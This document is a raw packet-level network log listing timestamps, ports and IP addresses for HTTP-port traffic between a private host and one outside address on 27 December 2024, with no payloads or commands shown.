Dec 27, 2024 08:52:20.678446054 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.678508043 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.681857109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.681916952 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.681992054 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.682041883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.685480118 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.685559034 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.685594082 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.685643911 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.689080954 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.689140081 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.689178944 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.689235926 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.692617893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.692662954 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.692704916 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.692749977 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.696170092 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.696235895 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.696268082 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.696310997 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.699748993 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.699805021 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.699877977 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.699922085 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.703376055 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.703427076 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.703464985 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.703512907 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.706899881 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.706979036 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.707004070 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.707046986 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.710455894 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.710525036 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.710609913 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.710655928 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.714207888 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.714268923 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.714298010 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.714349985 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.717665911 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.717725992 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.717771053 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.717819929 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.721224070 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.721288919 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.721296072 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.721345901 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.724787951 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.724868059 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.724936008 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.724987984 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.728471041 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.728529930 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.728530884 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.728579044 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.732000113 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.732034922 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.732064962 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.732089043 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.735508919 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.735586882 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.735637903 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.735702991 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.739068985 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.739140987 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.739178896 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.739226103 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.742680073 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.742752075 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.742755890 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.742799997 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.746236086 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.746330023 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.746335030 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.746382952 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.749880075 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.749938011 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.749942064 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.749980927 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.753384113 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.753451109 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.753493071 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.753549099 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.836813927 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.836889029 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.836934090 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.836978912 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.838186979 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.838236094 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.838287115 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.838326931 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.841098070 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.841155052 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.841187000 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.841228962 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.844032049 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.844073057 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.844104052 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.844146967 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.846842051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.846892118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.846946001 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.846992970 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.849601030 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.849644899 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.849687099 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.849736929 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.852349043 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.852401972 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.852437019 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.852471113 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.855009079 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.855055094 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.855058908 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.855097055 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.857827902 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.857855082 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.857882977 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.857897997 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.860232115 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.860280037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.860327959 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.860382080 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.862791061 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.862834930 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.862922907 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.862968922 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.865389109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.865520000 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.865555048 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.865567923 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.867835999 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.867883921 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.867947102 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.867991924 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.870282888 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.870335102 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.870385885 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.870429993 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.872761965 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.872807026 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.872872114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.872915030 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.875123024 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.875216007 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.875226974 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.875269890 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.877490044 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.877542973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.877569914 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.877615929 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.879862070 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.879914999 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.879941940 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.879985094 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.882170916 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.882225037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.882285118 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.882359982 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.884478092 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.884537935 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.884582996 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.884629011 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.886853933 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.886907101 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.886949062 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.886997938 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.889138937 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.889204025 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.889254093 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.889307022 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.891448021 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.891504049 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.891522884 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.891571045 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.893738985 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.893791914 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.893852949 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.893949032 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.896109104 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.896162987 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.896194935 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.896239996 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.898408890 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.898459911 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.898523092 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.898566961 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.900746107 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.900794983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.900850058 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.900887012 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.903064966 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.903117895 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.903177023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.903220892 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.905391932 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.905447960 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.905508995 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.905572891 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.907716990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.907766104 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.907835007 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.907879114 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.910031080 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.910079956 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.910157919 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.910201073 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.912358999 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.912408113 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.912456989 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.912498951 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.914710045 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.914771080 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.914828062 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.914880037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.917041063 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.917100906 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.917155981 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.917341948 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.919373989 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.919434071 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.919461012 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.919528961 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.921807051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.921844006 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.921863079 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.921888113 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.924029112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.924087048 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.924139023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.924189091 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.926341057 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.926404953 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.926464081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.926515102 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.928692102 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.928749084 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.928761005 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.928817987 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.930999041 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.931050062 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.931087971 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.931152105 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.933398962 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.933451891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.933453083 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.933496952 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.935667038 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.935719013 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.935729980 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.935771942 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.937977076 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.938023090 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.938091040 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.938129902 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.940298080 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.940342903 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.940396070 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.940434933 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.942615032 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.942677021 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.942718029 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.942756891 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.944936037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.944986105 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.945045948 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.945085049 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.947273016 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.947326899 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.947354078 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.947393894 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.949568987 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.949614048 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.949676037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.949714899 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.951880932 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.951930046 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.951996088 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.952033043 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.954242945 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.954312086 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.954349995 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.954389095 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:20.956520081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:20.956583977 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.028820992 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.028980970 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.028985977 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.029063940 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.029700041 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.029757977 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.029836893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.029890060 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.031524897 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.031595945 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.031618118 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.031671047 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.033299923 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.033361912 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.033390045 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.033435106 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.035070896 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.035136938 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.035173893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.035218000 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.036837101 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.036900043 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.036933899 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.036978960 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.038575888 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.038638115 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.038671017 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.038718939 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.040292978 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.040353060 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.040385962 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.040452957 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.041984081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.042078018 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.042097092 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.042140007 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.043639898 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.043723106 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.043754101 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.043801069 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.045327902 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.045387983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.045423985 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.045469999 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.047034979 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.047091007 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.047127962 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.047172070 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.048574924 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.048635006 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.048666954 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.048732042 CET	49970	80	192.168.2.6	185.215.113.16
